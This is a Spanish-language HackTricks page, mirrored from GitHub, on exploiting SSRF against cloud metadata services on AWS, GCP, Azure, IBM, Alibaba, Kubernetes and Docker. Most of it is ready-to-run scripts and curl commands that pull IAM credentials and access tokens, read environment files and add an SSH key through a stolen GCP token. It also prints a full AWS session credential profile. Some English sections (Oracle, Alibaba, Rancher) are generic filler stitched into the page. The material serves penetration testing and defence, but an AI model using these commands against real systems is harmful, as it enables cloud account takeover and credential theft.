Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md

35 KiB
Raw Blame History

Cloud SSRF

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

AWS

Abusando de SSRF en el entorno de AWS EC2

La metadata se puede acceder desde cualquier máquina EC2 y ofrece información interesante sobre ella. Es accesible en la URL: http://169.254.169.254 (información sobre la metadata aquí).

Hay 2 versiones de la metadata. La primera permite acceder a la metadata mediante solicitudes GET (por lo que cualquier SSRF puede explotarla). Para la versión 2, IMDSv2, debes solicitar un token enviando una solicitud PUT con una cabecera HTTP y luego usar ese token para acceder a la metadata con otra cabecera HTTP (por lo que es más complicado de abusar con un SSRF).

{% hint style="danger" %} Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, según la documentación, la respuesta de la solicitud PUT tendrá un límite de salto de 1, lo que hace imposible acceder a la metadata de EC2 desde un contenedor dentro de la instancia EC2.

Además, IMDSv2 también bloqueará las solicitudes para obtener un token que incluyan la cabecera X-Forwarded-For. Esto es para evitar que los proxies inversos mal configurados puedan acceder a ella. {% endhint %}

Puedes encontrar información sobre los puntos finales de la metadata en la documentación. En el siguiente script se obtiene información interesante de ella:

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

Como ejemplo de credenciales IAM públicamente disponibles, puedes visitar: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

También puedes verificar las credenciales de seguridad públicas de EC2 en: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Luego puedes tomar esas credenciales y usarlas con AWS CLI. Esto te permitirá hacer cualquier cosa que el rol tenga permisos para hacer.

Para aprovechar las nuevas credenciales, deberás crear un nuevo perfil de AWS como este:

[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

Observa el aws_session_token, esto es indispensable para que el perfil funcione.

PACU se puede utilizar con las credenciales descubiertas para conocer tus privilegios e intentar escalar privilegios.

SSRF en las credenciales de AWS ECS (Servicio de contenedores)

ECS, es un grupo lógico de instancias EC2 en las que puedes ejecutar una aplicación sin tener que escalar tu propia infraestructura de gestión de clústeres porque ECS se encarga de eso por ti. Si logras comprometer el servicio que se ejecuta en ECS, los puntos finales de metadatos cambian.

Si accedes a http://169.254.170.2/v2/credentials/<GUID> encontrarás las credenciales de la máquina ECS. Pero primero necesitas encontrar el <GUID>. Para encontrar el <GUID> necesitas leer la variable environ AWS_CONTAINER_CREDENTIALS_RELATIVE_URI dentro de la máquina.
Podrías ser capaz de leerlo explotando una travesía de ruta a file:///proc/self/environ
La dirección http mencionada debería darte la AccessKey, SecretKey y token.

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

{% hint style="info" %} Ten en cuenta que en algunos casos podrás acceder a la instancia de metadatos de EC2 desde el contenedor (verifica las limitaciones de TTL de IMDSv2 mencionadas anteriormente). En estos escenarios, desde el contenedor podrías acceder tanto al rol IAM del contenedor como al rol IAM de EC2. {% endhint %}

SSRF para AWS Lambda

En este caso, las credenciales se almacenan en variables de entorno. Por lo tanto, para acceder a ellas, debes acceder a algo como file:///proc/self/environ.

Los nombres de las variables de entorno interesantes son:

  • AWS_SESSION_TOKEN
  • AWS_SECRET_ACCESS_KEY
  • AWS_ACCES_KEY_ID

Además, además de las credenciales IAM, las funciones Lambda también tienen datos de eventos que se pasan a la función cuando se inicia. Estos datos están disponibles para la función a través de la interfaz de tiempo de ejecución y podrían contener información sensible (como en stageVariables). A diferencia de las credenciales IAM, estos datos son accesibles a través de SSRF estándar en http://localhost:9001/2018-06-01/runtime/invocation/next.

{% hint style="warning" %} Ten en cuenta que las credenciales de lambda están dentro de las variables de entorno. Por lo tanto, si el rastro de pila del código lambda imprime las variables de entorno, es posible filtrarlas provocando un error en la aplicación. {% endhint %}

SSRF URL para AWS Elastic Beanstalk

Recuperamos el accountId y region de la API.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Luego recuperamos el AccessKeyId, SecretAccessKey y Token de la API.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Luego usamos las credenciales con aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

GCP

Puedes encontrar aquí la documentación sobre los puntos finales de metadatos.

URL SSRF para Google Cloud

Requiere el encabezado "Metadata-Flavor: Google" o "X-Google-Metadata-Request: True" y puedes acceder al punto final de metadatos con las siguientes URLs:

Puntos finales interesantes para extraer información:

# /project
# Project name and number
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Beta NO requiere un encabezado en este momento (gracias Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

{% hint style="danger" %} Para utilizar el token de la cuenta de servicio exfiltrada, simplemente puedes hacer lo siguiente:

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

{% endhint %}

Agregar una clave SSH

Extraer el token

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Verifique el alcance del token

$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

Ahora empuja la clave SSH.

{% code overflow="wrap" %}

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

{% endcode %}

Digital Ocean

{% hint style="warning" %} No existen cosas como AWS Roles o cuentas de servicio de GCP, así que no esperes encontrar credenciales de bot de metadatos. {% endhint %}

Documentación disponible en https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Documentación aquí.

  • Debe contener el encabezado Metadata: true
  • No debe contener un encabezado X-Forwarded-For

{% tabs %} {% tab title="Bash" %} {% code overflow="wrap" %}

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

{% endcode %} {% endtab %}

{% tab title="PS" %}

# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text

{% endtab %} {% endtabs %}

Azure App Service

Desde la variable env puedes obtener los valores de IDENTITY_HEADER y IDENTITY_ENDPOINT. Que puedes usar para obtener un token para comunicarte con el servidor de metadatos.

La mayoría de las veces, quieres un token para uno de estos recursos:

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"

# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc

# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet

IBM Cloud

{% hint style="warning" %} Ten en cuenta que en IBM, de forma predeterminada, los metadatos no están habilitados, por lo que es posible que no puedas acceder a ellos incluso si estás dentro de una VM de IBM Cloud. {% endhint %}

{% code overflow="wrap" %}

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

{% endcode %}

Packetcloud

Documentación disponible en https://metadata.packet.net/userdata

OpenStack/RackSpace

(¿se requiere encabezado? desconocido)

http://169.254.169.254/openstack

HP Helion

(se requiere encabezado? desconocido)

http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud is a cloud computing platform provided by Oracle Corporation. It offers a wide range of cloud services, including infrastructure as a service (IaaS), platform as a service (PaaS), and software as a service (SaaS). With its robust infrastructure and comprehensive set of tools, Oracle Cloud is a popular choice for businesses looking to leverage the power of the cloud.

SSRF (Server-Side Request Forgery) en la nube

SSRF (Server-Side Request Forgery) es una vulnerabilidad común que puede ocurrir en aplicaciones web que permiten a los usuarios enviar solicitudes desde el servidor hacia otros recursos en la red. Esta vulnerabilidad puede ser explotada para realizar ataques maliciosos, como escanear puertos internos, acceder a servicios internos no autorizados o incluso filtrar información confidencial.

En el contexto de la nube, SSRF puede ser especialmente peligroso, ya que los servidores en la nube a menudo tienen acceso a recursos sensibles y confidenciales. Si un atacante logra explotar una vulnerabilidad SSRF en un servidor en la nube, podría acceder a servicios internos, como bases de datos o sistemas de almacenamiento, y potencialmente comprometer la seguridad de toda la infraestructura.

Es importante tener en cuenta que la explotación de SSRF en la nube puede ser más complicada debido a las medidas de seguridad adicionales implementadas por los proveedores de servicios en la nube. Sin embargo, no se debe subestimar la importancia de protegerse contra esta vulnerabilidad y tomar las medidas necesarias para mitigar los riesgos asociados.

A continuación, se presentan algunas recomendaciones para protegerse contra SSRF en la nube:

  1. Validar y filtrar las entradas del usuario: Es fundamental validar y filtrar cuidadosamente todas las entradas del usuario para evitar que se utilicen para realizar solicitudes no deseadas. Esto incluye la validación de URL, direcciones IP y otros parámetros relevantes.

  2. Limitar los permisos de red: Es importante restringir los permisos de red de los servidores en la nube para limitar su capacidad de acceder a recursos sensibles. Esto puede incluir la configuración de reglas de firewall y la implementación de listas de control de acceso (ACL) para restringir el tráfico de red.

  3. Utilizar listas blancas de direcciones IP: En lugar de permitir el acceso a cualquier dirección IP, se recomienda utilizar listas blancas de direcciones IP para permitir únicamente el acceso a los recursos autorizados. Esto ayuda a prevenir ataques SSRF al restringir las solicitudes a direcciones IP específicas.

  4. Monitorear y registrar las solicitudes salientes: Es importante monitorear y registrar todas las solicitudes salientes desde los servidores en la nube para detectar posibles actividades sospechosas. Esto puede ayudar a identificar intentos de explotar vulnerabilidades SSRF y tomar medidas preventivas.

  5. Mantenerse actualizado con los parches de seguridad: Los proveedores de servicios en la nube suelen lanzar parches de seguridad y actualizaciones regulares para abordar las vulnerabilidades conocidas. Es importante mantenerse actualizado con estas actualizaciones y aplicar los parches de seguridad correspondientes para protegerse contra las últimas amenazas.

Al seguir estas recomendaciones y adoptar buenas prácticas de seguridad, se puede reducir significativamente el riesgo de explotación de SSRF en la nube y proteger la infraestructura de la organización.

http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

Alibaba

Alibaba is a cloud service provider based in China. It offers a wide range of services, including computing, storage, networking, and security solutions. Alibaba Cloud, also known as Aliyun, is the cloud computing arm of Alibaba Group. It provides scalable and secure cloud computing services to businesses and individuals worldwide.

Alibaba Cloud offers various products and services, such as Elastic Compute Service (ECS), Object Storage Service (OSS), Virtual Private Cloud (VPC), and Web Application Firewall (WAF). These services can be used to build and deploy applications, store and retrieve data, and protect web applications from attacks.

As a penetration tester, it is important to understand the security features and vulnerabilities associated with Alibaba Cloud. One common vulnerability that can be exploited is Server-Side Request Forgery (SSRF). SSRF allows an attacker to make requests from the vulnerable server to internal or external resources, potentially leading to unauthorized access or data leakage.

When testing for SSRF vulnerabilities in Alibaba Cloud, it is important to identify the endpoints that can be accessed by the server. This can include internal services, such as metadata servers or other cloud resources, as well as external services accessible over the internet.

To exploit an SSRF vulnerability in Alibaba Cloud, an attacker can craft a malicious request that tricks the server into making a request to a specific endpoint. This can be done by manipulating the URL or parameters of the request to redirect it to the desired target.

To prevent SSRF attacks in Alibaba Cloud, it is important to implement proper input validation and sanitization techniques. This includes validating user input, restricting access to internal resources, and using whitelists or blacklists to filter out potentially malicious URLs.

In conclusion, Alibaba Cloud is a popular cloud service provider that offers a wide range of services. However, it is important to be aware of the security risks associated with SSRF vulnerabilities and take appropriate measures to mitigate them.

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Puede contener claves de API y direcciones IP y puertos internos.

curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker 

http://127.0.0.1:2375/v1.24/containers/jsonSimple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Rancher is a popular open-source container management platform that allows you to easily deploy and manage containers in your infrastructure. It provides a user-friendly interface for managing containerized applications and supports various container orchestration frameworks such as Kubernetes, Docker Swarm, and Apache Mesos.

Rancher simplifies the process of deploying and scaling containers by providing a centralized management interface. It allows you to create and manage container clusters, monitor container health and performance, and easily scale your applications.

One of the key features of Rancher is its ability to integrate with various cloud providers and SaaS platforms. This allows you to easily deploy your containers on popular cloud platforms such as AWS, GCP, and Azure, as well as on-premises infrastructure.

Rancher also provides advanced networking capabilities, allowing you to define and manage network policies for your containers. It supports various networking plugins, including Calico, Flannel, and Canal, which provide different networking options for your containerized applications.

Overall, Rancher is a powerful tool for managing containers and simplifying the deployment and management of containerized applications. Whether you are running containers on-premises or in the cloud, Rancher provides a user-friendly interface and advanced features to help you effectively manage your container infrastructure.

curl http://rancher-metadata/<version>/<path>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥